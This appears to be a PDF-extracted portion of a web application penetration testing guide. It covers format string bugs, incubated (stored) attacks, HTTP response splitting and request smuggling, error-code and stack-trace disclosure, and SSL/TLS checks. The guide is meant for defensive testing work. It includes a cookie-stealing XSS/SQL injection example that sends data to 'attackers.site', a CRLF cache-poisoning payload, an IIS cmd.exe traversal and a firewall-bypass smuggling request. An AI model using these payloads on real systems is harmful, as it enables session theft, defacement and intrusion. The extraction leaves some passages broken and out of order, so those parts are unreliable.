Format string vulnerabilities manifest mainly in web servers, application servers, or web applications utilizing C/C++ based code or CGI
scripts written in C. In most of these cases, an error reporting or logging function like syslog( ) has been called insecurely.
When testing CGI scripts for format string vulnerabilities, the input
parameters can be manipulated to include %x or %n type specifiers.
For example a legitimate request like
http://hostname/cgi-bin/query.cgi?name=john&code=45765
can be altered to
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
If a format string vulnerability exists in the routine processing this
request, the tester will be able to see stack data being printed out
to browser.
If code is unavailable, the process of reviewing assembly fragments
(also known as reverse engineering binaries) would yield substantial
Take the instance of code (1) :
int main(int argc, char **argv)
{

Gray Box testing
While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting
the code shown in (1) to ITS4, which is a static code analysis tool,
gives the following output.

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The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore
when manually reviewing code, emphasis can be given to functions
such as:
printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
There can be several formatting functions that are specific to the
development platform. These should also be reviewed for absence
of format strings once their argument usage has been understood.

Tools

• ITS4: “A static code analysis tool for identifying format string
vulnerabilities using source code” - http://www.cigital.com/its4
• An exploit string builder for format bugs - http://seclists.org/
lists/pen-test/2001/Aug/0014.html
References
Whitepapers
• Format functions manual page http://www.die.net/doc/linux/man/man3/fprintf.3.html
• Tim Newsham: “A paper on format string attacks” http://comsec.theclerk.com/CISSP/FormatString.pdf
• Team Teso: “Exploiting Format String Vulnerabilities” http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html
• Analysis of format string bugs http://julianor.tripod.com/format-bug-analysis.pdf

Testing for Incubated Vulnerability
(OTG-INPVAL-015)

Summary
Also often refered to as persistent attacks, incubated testing is a
complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically
used to conduct “watering hole” attacks against users of legitimate web applications.
Incubated vulnerabilities have the following characteristics:
• The attack vector needs to be persisted in the first place, it
needs to be stored in the persistence layer, and this would only
occur if weak data validation was present or the data arrived
into the system via another channel such as an admin console
or directly via a backend batch process.
• Secondly, once the attack vector was “recalled” the vector
would need to be executed successfully. For example, an
incubated XSS attack would require weak output validation so
the script would be delivered to the client in its executable form.
Exploitation of some vulnerabilities, or even functional features
of a web application, will allow an attacker to plant a piece of data
that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.

In a penetration test, incubated attacks can be used to assess
the criticality of certain bugs, using the particular security issue
found to build a client-side based attack that usually will be used
to target a large number of victims at the same time (i.e. all users
browsing the site).
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:
• File upload components in a web application, allowing the
attacker to upload corrupted media files (jpg images exploiting
CVE-2004-0200, png images exploiting CVE-2004-0597,
executable files, site pages with active component, etc.)
• Cross-site scripting issues in public forums posts (see Testing
for Stored Cross_site scripting (OTG-INPVAL-002) for additional
details). An attacker could potentially store malicious scripts
or code in a repository in the backend of the web-application
(e.g., a database) so that this script/code gets executed by one
of the users (end users, administrators, etc). The archetypical
incubated attack is exemplified by using a cross-site scripting
vulnerability in a user forum, bulletin board, or blog in order to
inject some JavaScript code at the vulnerable page, and will be
eventually rendered and executed at the site user’s browser
-using the trust level of the original (vulnerable) site at the user’s
browser.
• SQL/XPATH Injection allowing the attacker to upload content to a
database, which will be later retrieved as part of the active content
in a web page. For example, if the attacker can post arbitrary
JavaScript in a bulletin board so that it gets executed by users, then
he might take control of their browsers (e.g., XSS-proxy).
• Misconfigured servers allowing installation of Java packages or
similar web site components (i.e. Tomcat, or web hosting consoles
such as Plesk, CPanel, Helm, etc.)
How to Test
Black Box testing
Verify the content type allowed to upload to the web application and
the resultant URL for the uploaded file. Upload a file that will exploit
a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in
order to lead him/her to browse the page. The expected result is the
exploit will be triggered when the user browses the resultant page
XSS Example on a Bulletin Board
[1] Introduce JavaScript code as the value for the vulnerable field,
for instance:
[2] Direct users to browse the vulnerable page or wait for the users to browse it. Have a “listener” at attackers.site host listening
for all incoming connections.
[3] When users browse the vulnerable page, a request containing

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URL) will be sent to the attackers.site host, such as the following:
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1

[4] Use cookies obtained to impersonate users at the vulnerable
site.
SQL Injection Example
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether
the target site has a SQL injection vulnerability. This is described
in Section 4.2 Testing for SQL Injection. For each SQL-injection
vulnerability, there is an underlying set of constraints describing
the kind of queries that the attacker/pen-tester is allowed to do.
The tester then has to match the XSS attacks he has devised
with the entries that he is allowed to insert.
[1] In a similar fashion as in the previous XSS example, use a web
page field vulnerable to SQL injection issues to change a value in
the database that would be used by the application as input to be
shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let’s
suppose there is a footer table at the database with all footers
for the web site pages, including a notice field with the legal notice that appears at the bottom of each web page. You could use
the following query to inject JavaScript code to the notice field at
the footer table in the database.
SELECT field1, field2, field3
FROM table_x
WHERE field2 = ‘x’;
UPDATE footer
document.write(\’<img src=”http://attackers.site/
[2] Now, each user browsing the site will silently send his cookies
to the attackers.site (steps b.2 to b.4).

ers can then access (most probably with a higher degree of trust
than when accessing a different site).
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated
attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
Gray Box testing
Gray/white testing techniques will be the same as previously
discussed.
• Examining input validation is key in mitigating against this
vulnerability. If other systems in the enterprise use the same
persistence layer they may have weak input validation and the
data may be persisited via a “back door”.
• To combat the “back door” issue for client side attacks, output
validation must also be employed so tainted data shall be
encoded prior to displaying to the client, and hence not execute.
• See the Data Validation section of the Code review guide.

Tools

• XSS-proxy - http://sourceforge.net/projects/xss-proxy
• Paros - http://www.parosproxy.org/index.shtml
• Burp Suite - http://portswigger.net/burp/proxy.html
• Metasploit - http://www.metasploit.com/
References
Most of the references from the Cross-site scripting section are
valid. As explained above, incubated attacks are executed when
combining exploits such as XSS or SQL-injection attacks.
• CERT(R) Advisory CA-2000-02 Malicious HTML Tags
Embedded in Client Web Requests - http://www.cert.org/
• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site
scripting vulnerability - http://lists.grok.org.uk/pipermail/fulldisclosure/2006-July/048059.html
Whitepapers
• Web Application Security Consortium “Threat Classification,
Cross-site scripting” - http://www.webappsec.org/projects/
threat/classes/cross-site_scripting.shtml

Misconfigured Server
Some web servers present an administration interface that may
allow an attacker to upload active components of her choice to
the site. This could be the case with an Apache Tomcat server
that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain
valid credentials for the administration module by other means).

Testing for HTTP Splitting/Smuggling
(OTG-INPVAL-016)

In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester
to execute code of her choice locally at the server, but also to
plant an application at the trusted site, which the site regular us-

This section will analyze two different attacks that target specific HTTP headers:
• HTTP splitting
• HTTP smuggling

Summary
This section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different
agents interpret HTTP messages.

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The first attack exploits a lack of input sanitization which allows
an intruder to insert CR and LF characters into the headers of the
application response and to ‘split’ that answer into two different
HTTP messages. The goal of the attack can vary from a cache
poisoning to cross site scripting.
In the second attack, the attacker exploits the fact that some
specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them.
HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server,
proxy, firewall) and therefore will be included only in the Gray Box
testing section.
How to Test
Black Box testing
HTTP Splitting
Some web applications use part of the user input to generate the
values of some headers of their responses. The most straightforward example is provided by redirections in which the target
URL depends on some user-submitted value. Let’s say for instance that the user is asked to choose whether he/she prefers
a standard or advanced web interface. The choice will be passed
as a parameter that will be used in the response header to trigger
the redirection to the corresponding page.
More specifically, if the parameter ‘interface’ has the value ‘advanced’, the application will answer with the following:
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT

When receiving this message, the browser will bring the user to
the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the ‘interface’ parameter the sequence %0d%0a, which
represents the CRLF sequence that is used to separate different
lines. At this point, testers will be able to trigger a response that
will be interpreted as two different responses by anybody who
happens to parse it, for instance a web cache sitting between
us and the application. This can be leveraged by an attacker to
poison this web cache so that it will provide false content in all
subsequent requests.
Let’s say that in the previous example the tester passes the following data as the interface parameter:
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContent-Length:%20
35%0d%0a%0d%0aSorry,%20System%20Down
The resulting answer from the vulnerable application will therefore be the following:

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35
Sorry,%20System%20Down

The web cache will see two different responses, so if the attacker
sends, immediately after the first request, a second one asking
for /index.html, the web cache will match this request with the
second response and cache its content, so that all subsequent
requests directed to victim.com/index.html passing through
that web cache will receive the “system down” message. In this
way, an attacker would be able to effectively deface the site for
all users using that web cache (the whole Internet, if the web
cache is a reverse proxy for the web application).
Alternatively, the attacker could pass to those users a JavaScript
snippet that mounts a cross site scripting attack, e.g., to steal
the cookies. Note that while the vulnerability is in the application,
the target here is its users. Therefore, in order to look for this
vulnerability, the tester needs to identify all user controlled input
that influences one or more headers in the response, and check
whether he/she can successfully inject a CR+LF sequence in it.
The headers that are the most likely candidates for this attack
are:
• Location
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several
factors must be taken into account:
[1] The pen-tester must properly set the headers in the fake
response for it to be successfully cached (e.g., a Last-Modified
header with a date set in the future). He/she might also have
to destroy previously cached versions of the target pagers, by
issuing a preliminary request with “Pragma: no-cache” in the
[2] The application, while not filtering the CR+LF sequence,
might filter other characters that are needed for a successful
attack (e.g., “<” and “>”). In this case, the tester can try to use
other encodings (e.g., UTF-7)
[3] Some targets (e.g., ASP) will URL-encode the path part of the
a CRLF sequence useless. However, they fail to encode the
query section (e.g., ?interface=advanced), meaning that a
leading question mark is enough to bypass this filtering
papers referenced at the bottom of this section.

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Gray Box testing
HTTP Splitting
A successful exploitation of HTTP Splitting is greatly helped by
knowing some details of the web application and of the attack
target. For instance, different targets can use different methods to decide when the first HTTP message ends and when the
second starts. Some will use the message boundaries, as in the
previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for
each message a number of chunks of predetermined length: in
this case, the second message will have to start exactly at the
beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble
when the vulnerable parameter is to be sent in the URL, as a very
long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using
HTTP Smuggling
As mentioned in the introduction, HTTP Smuggling leverages the
different ways that a particularly crafted HTTP message can be
parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was
first discovered by Chaim Linhart, Amit Klein, Ronen Heled and
Steve Orrin in 2005. There are several possible applications and
we will analyze one of the most spectacular: the bypass of an
application firewall. Refer to the original whitepaper (linked at
scenarios.
Application Firewall Bypass
There are several products that enable a system administration
to detect and block a hostile web request depending on some
known malicious pattern that is embedded in the request. For
example, consider the infamous, old Unicode directory traversal attack against IIS server (http://www.securityfocus.com/
bid/1806), in which an attacker could break out the www root by
issuing a request like:
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/
c+
Of course, it is quite easy to spot and filter this attack by the
presence of strings like “..” and “cmd.exe” in the URL. However, IIS 5.0 is quite picky about POST requests whose body is
up to 48K bytes and truncates all content that is beyond this
limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this
by creating a very large request, structured as follows:
POST /target.asp HTTP/1.1
Host: target
Connection: Keep-Alive
Content-Length: 49225

<49152 bytes of garbage>
POST /target.asp HTTP/1.0

<-- Request #1

<-- Request #2

Connection: Keep-Alive
Content-Length: 33

POST /target.asp HTTP/1.0
<-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0 <-- Request #4
Connection: Keep-Alive

What happens here is that the Request #1 is made of 49223
bytes, which includes also the lines of Request #2. Therefore, a
firewall (or any other agent beside IIS 5.0) will see Request #1,
will fail to see Request #2 (its data will be just part of #1), will see
Request #3 and miss Request #4 (because the POST will be just
part of the fake header xxxx).
Now, what happens to IIS 5.0 ? It will stop parsing Request #1
right after the 49152 bytes of garbage (as it will have reached
the 48K=49152 bytes limit) and will therefore parse Request #2
as a new, separate request. Request #2 claims that its content is
33 bytes, which includes everything until “xxxx: “, making IIS miss
Request #3 (interpreted as part of Request #2) but spot Request
#4, as its POST starts right after the 33rd byte or Request #2. It
is a bit complicated, but the point is that the attack URL will not
be detected by the firewall (it will be interpreted as the body of
a previous request) but will be correctly parsed (and executed)
by IIS.
While in the aforementioned case the technique exploits a bug of
a web server, there are other scenarios in which we can leverage
the different ways that different HTTP-enabled devices parse
messages that are not 1005 RFC compliant. For instance, the
HTTP protocol allows only one Content-Length header, but does
not specify how to handle a message that has two instances of
this header. Some implementations will use the first one while
others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length
Note that HTTP Smuggling does *not* exploit any vulnerability
in the target web application. Therefore, it might be somewhat
tricky, in a pen-test engagement, to convince the client that a
countermeasure should be looked for anyway.
References
Whitepapers
• Amit Klein, “Divide and Conquer: HTTP Response Splitting,
Web Cache Poisoning Attacks, and Related Topics” - http://
www.packetstormsecurity.org/papers/general/whitepaper_
httpresponse.pdf
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP
Request Smuggling” - http://www.watchfire.com/news/
whitepapers.aspx
• Amit Klein: “HTTP Message Splitting, Smuggling and
Other Animals” - http://www.owasp.org/images/1/1a/
OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.
ppt
• Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS
48K buffer phenomenon)” - http://www.securityfocus.com/
archive/1/411418

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• Amit Klein: “HTTP Response Smuggling” http://www.securityfocus.com/archive/1/425593
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP
Request Smuggling” - http://www.cgisecurity.com/lib/httprequest-smuggling.pdf

Testing for Error Code (OTG-ERR-001)

Summary
Often, during a penetration test on web applications, we come
up against many error codes generated from applications or
web servers. It’s possible to cause these errors to be displayed
by using a particular requests, either specially crafted with tools
or created manually. These codes are very useful to penetration
testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.
This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment. The most important aspect for this activity is to focus
one’s attention on these errors, seeing them as a collection of
information that will aid in the next steps of our analysis. A good
collection can facilitate assessment efficiency by decreasing the
overall time taken to perform the penetration test.
Attackers sometimes use search engines to locate errors that
disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for
errors in a specific site using the search engine filtering tools as
described in 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)
Web Server Errors
A common error that we can see during testing is the HTTP 404
the underlying web server and associated components. For example:
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2
PHP/5.1.2 Server at localhost Port 80
This error message can be generated by requesting a non-existent URL. After the common message that shows a page not
found, there is information about web server version, OS, modules and other products used. This information can be very important from an OS and application type and version identification point of view.
Other HTTP response codes such as 400 Bad Request, 405
Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be
forced by an attacker. When receiving specially crafted requests,
web servers may provide one of these error codes depending on
their HTTP implementation.
Testing for disclosed information in the Web Server error codes
is related testing for information disclosed in the HTTP headers
as described in the section Fingerprint Web Server (OTG-IN-

FO-002).
Application Server Errors
Application errors are returned by the application itself, rather
than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned
by the application code. Detailed application errors typically provide information of server paths, installed libraries and application versions.
Database Errors
Database errors are those returned by the Database System
when there is a problem with the query or the connection. Each
Database system, such as MySQL, Oracle or MSSQL, has their
own set of errors. Those errors can provide sensible information
such as Database server IPs, tables, columns and login details.
In addition, there are many SQL Injection exploitation techniques
that utilize detailed error messages from the database driver, for
in depth information on this issue see Testing for SQL Injection
Web server errors aren’t the only useful output returned requiring security analysis. Consider the next example error message:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not
What happened? We will explain step-by-step below.
In this example, the 80004005 is a generic IIS error code which
indicates that it could not establish a connection to its associated
database. In many cases, the error message will detail the type
of the database. This will often indicate the underlying operating
system by association. With this information, the penetration
tester can plan an appropriate strategy for the security test.
By manipulating the variables that are passed to the database
connect string, we can invoke more detailed errors.
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
[Microsoft][ODBC Access 97 ODBC driver Driver]General error
Unable to open registry key ‘DriverId’
In this example, we can see a generic error in the same situation
which reveals the type and version of the associated database
system and a dependence on Windows operating system registry key values.
Now we will look at a practical example with a security test
against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This
could be caused by a database name resolution issue, processing
of unexpected variable values, or other network problems.
Consider the scenario where we have a database administration
web portal, which can be used as a front end GUI to issue database

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queries, create tables, and modify database fields. During the
POST of the logon credentials, the following error message is
presented to the penetration tester. The message indicates the
presence of a MySQL database server:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
If we see in the HTML code of the logon page the presence of a
hidden field with a database IP, we can try to change this value
in the URL with the address of database server under the penetration tester’s control in an attempt to fool the application into
thinking that the logon was successful.
Another example: knowing the database server that services a
web application, we can take advantage of this information to
carry out a SQL Injection for that kind of database or a persistent
XSS test.
How to Test
Below are some examples of testing for detailed error messages
returned to the user. Each of the below examples has specific
information about the operating system, application version, etc.
telnet  80
GET / HTTP/1.1
host:

Result:
Date: Sat, 04 Nov 2006 15:26:48 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
...
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
at  Port 80
Test:
Network problems leading to the application being unable to
access the database server
Result:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
Test:
Authentication failure due to missing credentials

Result:
Firewall version used for authentication:
Error 407
FW-1 at : Unauthorized to access the document.
• Authorization is needed for FW-1.
• The authentication required by FW-1 is: unknown.
• Reason for failure of last attempt: no user
telnet  80
GET / HTTP/1.1

Result:
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at 127.0.1.1 Port 80
...
Test: 405 Method Not Allowed
telnet  80
PUT /index.html HTTP/1.1
Host:

Result:
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
405 Method Not Allowed
...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at  Port 80
...

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Test: 408 Request Time-out
telnet  80
GET / HTTP/1.1
Wait X seconds – (Depending on the target server, 21
seconds for Apache by default)
Result:
HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
408 Request Time-out
...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at  Port 80
...
Test: 501 Method Not Implemented
telnet  80
RENAME /index.html HTTP/1.1
Host:

Result:
HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
501 Method Not Implemented
...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at  Port 80
...
Test:
http:///

Result:
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.

Tools

• ErrorMint - http://sourceforge.net/projects/errormint/
• ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
Attack_Proxy_Project
References
• [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1
• [ErrorDocument] Apache ErrorDocument Directive
• [AllowOverride] Apache AllowOverride Directive
• [ServerTokens] Apache ServerTokens Directive
• [ServerSignature] Apache ServerSignature Directive
Remediation
Error Handling in IIS and ASP .net
ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web
servers. Errors occur in all applications, developers try to trap
most errors but it is almost impossible to cover each and every
exception (it is however possible to configure the web server to
suppress detailed error messages from being returned to the
user).
IIS uses a set of custom error pages generally found in c:\winnt\
to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request
for an aspx page, the request is passed on to the dot net framework.
There are various ways by which errors can be handled in dot net
framework. Errors are handled at three places in ASP .net:
• Inside Web.config customErrors section
• Inside global.asax Application_Error Sub
• At the the aspx or associated codebehind page in the Page_Error sub
Handling errors using web.config

mode=”On” will turn on custom errors. mode=RemoteOnly will
show custom errors to the remote web application users. A user
accessing the server locally will be presented with the complete
stack trace and custom errors will not be shown to him.
All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. A status code 404 will be handled by myerrorpagefor404.aspx.

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Handling errors in Global.asax
When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this
sub.
Private Sub Application_Error (ByVal sender As Object, ByVal e
As System.EventArgs)
Handles MyBase.Error
End Sub
Handling errors in Page_Error sub
This is similar to application error.
Private Sub Page_Error (ByVal sender As Object, ByVal e As
System.EventArgs)
Handles MyBase.Error
End Sub
Error hierarchy in ASP .net
Page_Error sub will be processed first, followed by global.asax
Application_Error sub, and, finally, customErrors section in web.
config file.
Information Gathering on web applications with server-side
technology is quite difficult, but the information discovered can
be useful for the correct execution of an attempted exploit (for
example, SQL injection or Cross Site Scripting (XSS) attacks) and
can reduce false positives.
How to test for ASP.net and IIS Error Handling
Fire up your browser and type a random page name
http:\\www.mywebserver.com\anyrandomname.asp
If the server returns
The page cannot be found
Internet Information Services

it means that IIS custom errors are not configured. Please note
the .asp extension.
Also test for .net custom errors. Type a random page name with
http:\\www.mywebserver.com\anyrandomname.aspx
If the server returns
Server Error in ‘/’ Application.
-------------------------------------------------------------------------------

The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one
of its dependencies) could have been removed, had its name
custom errors for .net are not configured.
Error Handling in Apache
Apache is a common HTTP server for serving HTML and PHP
web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.
Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]
ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
Site administrators are able to manage their own errors using
.htaccess file if the global directive AllowOverride is configured
properly in apache2.conf [3]
The information shown by Apache in the HTTP errors can also be
configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. “ServerSignature
Off” (On by default) removes the server information from the
error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information
has to be shown in the error pages.
Error Handling in Tomcat
Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP
error responses.
Customization of the error responses can be configured in the
configuration file web.xml.

404
/myerrorpagefor404.html

Testing for Stack Traces (OTG-ERR-002)

Summary
Stack traces are not vulnerabilities by themselves, but they often
reveal information that is interesting to an attacker. Attackers
attempt to generate these stack traces by tampering with the
input to the web application with malformed HTTP requests and
other input data.
If the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is
considered a bad practice due to multiple reasons. For example,

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Web Application Penetration Testing

it may contain information on internal workings of the application such as relative paths of the point where the application is
installed or how objects are referenced internally.

protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is
also possible to use client certificate for mutual authentication.

How to Test
Black Box testing
There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases
this will be an HTML page, but exceptions can be sent as part of
SOAP or REST responses too.

Even if high grade ciphers are today supported and normally
used, some misconfiguration in the server can be used to force
the use of a weak cipher - or at worst no encryption - permitting
to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial
of Service attack.

Some tests to try include:
• invalid input (such as input that is not consistent with application
logic.
• input that contains non alphanumeric characters or query syn
tax.
• empty inputs.
• inputs that are too long.
• bypassing application flow.

Common Issues
A vulnerability occurs if the HTTP protocol is used to transmit
sensitive information [2] (e.g. credentials transmitted over HTTP
[3]).

All the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to
any manual testing.
Some tools, such as OWASP ZAP and Burp proxy will automatically detect these exceptions in the response stream as you are
doing other penetration and testing work.
Gray Box Testing
Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this
might be code in a JSP that looks like:
<% e.printStackTrace( new PrintWriter( out ) ) %>
In some cases, the stack trace will be specifically formatted into
HTML, so be careful of accesses to stack trace elements.
Search the configuration to verify error handling configuration
and the use of default error pages. For example, in Java this configuration can be found in web.xml.

Tools

• ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
Attack_Proxy_Project
References
• [RFC2616] Hypertext Transfer Protocol - HTTP/1.1

Testing for Weak SSL/TLS Ciphers, Insufficient
Transport Layer Protection (OTG-CRYPST-001)

Summary
Sensitive data must be protected when it is transmitted through
the network. Such data can include user credentials and credit
cards. As a rule of thumb, if data must be protected when it is
stored, it must be protected also during transmission.
HTTP is a clear-text protocol and it is normally secured via an
SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this

When the SSL/TLS service is present it is good but it increments
the attack surface and the following vulnerabilities exist:
• SSL/TLS protocols, ciphers, keys and renegotiation must be
properly configured.
• Certificate validity must be ensured.
Other vulnerabilities linked to this are:
• Software exposed must be updated due to possibility of known
vulnerabilities [4].
• Usage of Secure flag for Session Cookies [5].
• Usage of HTTP Strict Transport Security (HSTS) [6].
• The presence of HTTP and HTTPS both, which can be used to
intercept traffic [7], [8].
• The presence of mixed HTTPS and HTTP content in the same
page, which can be used to Leak information.
Sensitive data transmitted in clear-text
The application should not transmit sensitive information via
unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent
via HTTP and, in general, other information considered by regulations, laws or organization policy.
Weak SSL/TLS Ciphers/Protocols/Keys
Historically, there have been limitations set in place by the U.S.
government to allow cryptosystems to be exported only for key
sizes of at most 40 bits, a key length which could be broken and
would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum
key size is 128 bits.
It is important to check the SSL configuration being used to avoid
putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer
the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g.
SHA, MD5) used for integrity checking.
Briefly, the key points for the cipher suite determination are the
following:
[1] The client sends to the server a ClientHello message

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specifying, among other information, the protocol and the
cipher suites that it is able to handle. Note that a client is
usually a web browser (most popular SSL client nowadays), but
not necessarily, since it can be any SSL-enabled application;
the same holds for the server, which needs not to be a web
server, though this is the most common case [9].
[2] The server responds with a ServerHello message, containing
the chosen protocol and cipher suite that will be used for that
session (in general the server selects the strongest protocol
and cipher suite supported by both the client and server).
It is possible (for example, by means of configuration directives)
to specify which cipher suites the server will honor. In this way
you may control whether or not conversations with clients will
support 40-bit encryption only.
[1] The server sends its Certificate message and, if client
authentication is required, also sends a CertificateRequest
message to the client.
[2] The server sends a ServerHelloDone message and waits for
a client response.
[3] Upon receipt of the ServerHelloDone message, the client
verifies the validity of the server’s digital certificate.
SSL certificate validity – client and server
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server.
The identity of one (the server) or both parties (client and server)
is then established by means of digital certificates. So, once the
cipher suite is determined, the “SSL Handshake” continues with
the exchange of the certificates:
[1] The server sends its Certificate message and, if client
authentication is required, also sends a CertificateRequest
message to the client.
[2] The server sends a ServerHelloDone message and waits for
a client response.
[3] Upon receipt of the ServerHelloDone message, the client
verifies the validity of the server’s digital certificate.
In order for the communication to be set up, a number of checks
on the certificates must be passed. While discussing SSL and
certificate based authentication is beyond the scope of this
guide, this section will focus on the main criteria involved in ascertaining certificate validity:
• Checking if the Certificate Authority (CA) is a known one
(meaning one considered trusted);
• Checking that the certificate is currently valid;
• Checking that the name of the site and the name reported in
the certificate match.
Let’s examine each check more in detail.
• Each browser comes with a pre-loaded list of trusted CAs,
against which the certificate signing CA is compared (this list

can be customized and expanded at will). During the initial
negotiations with an HTTPS server, if the server certificate
relates to a CA unknown to the browser, a warning is usually
raised. This happens most often because a web application
relies on a certificate signed by a self-established CA. Whether
this is to be considered a concern depends on several factors.
For example, this may be fine for an Intranet environment
